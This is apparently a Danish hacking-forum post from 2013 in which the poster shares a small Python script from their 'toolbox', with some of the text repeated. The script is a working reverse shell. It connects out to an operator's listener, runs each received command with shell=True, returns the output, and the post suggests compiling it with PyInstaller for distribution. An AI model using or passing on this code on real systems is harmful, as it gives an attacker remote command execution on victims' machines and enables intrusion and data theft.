27-05-2013, 21:34
Et hurtigt lille script jeg har samlet.
Som sagt, et ganske simpelt lille script. Det har sine begrænsninger. Man kan "compile" det til machine code med PyInstaller, men så skal man finde sig i størrelsen (2MB+).
Ovenstående et et udklip af min "værktøjskasse" - Forvent at se mere af det hen ad vejen.
Kom endeligt med spørgsmål & kommentare her i tråden eller på PM!
Kode:
#!/usr/bin/python
import subprocess, socket
HOST = "127.0.0.1"
PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send("Welcome Op3rat0r!\n")
while 1:
data = s.recv(1024)
if data == "exit\n":
s.send("Op3rat0r Out")
break
else:
process = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = process.stdout.read() + process.stderr.read()
s.send(stdoutput)
s.close()
Som sagt, et ganske simpelt lille script. Det har sine begrænsninger. Man kan "compile" det til machine code med PyInstaller, men så skal man finde sig i størrelsen (2MB+).
Ovenstående et et udklip af min "værktøjskasse" - Forvent at se mere af det hen ad vejen.
Kom endeligt med spørgsmål & kommentare her i tråden eller på PM!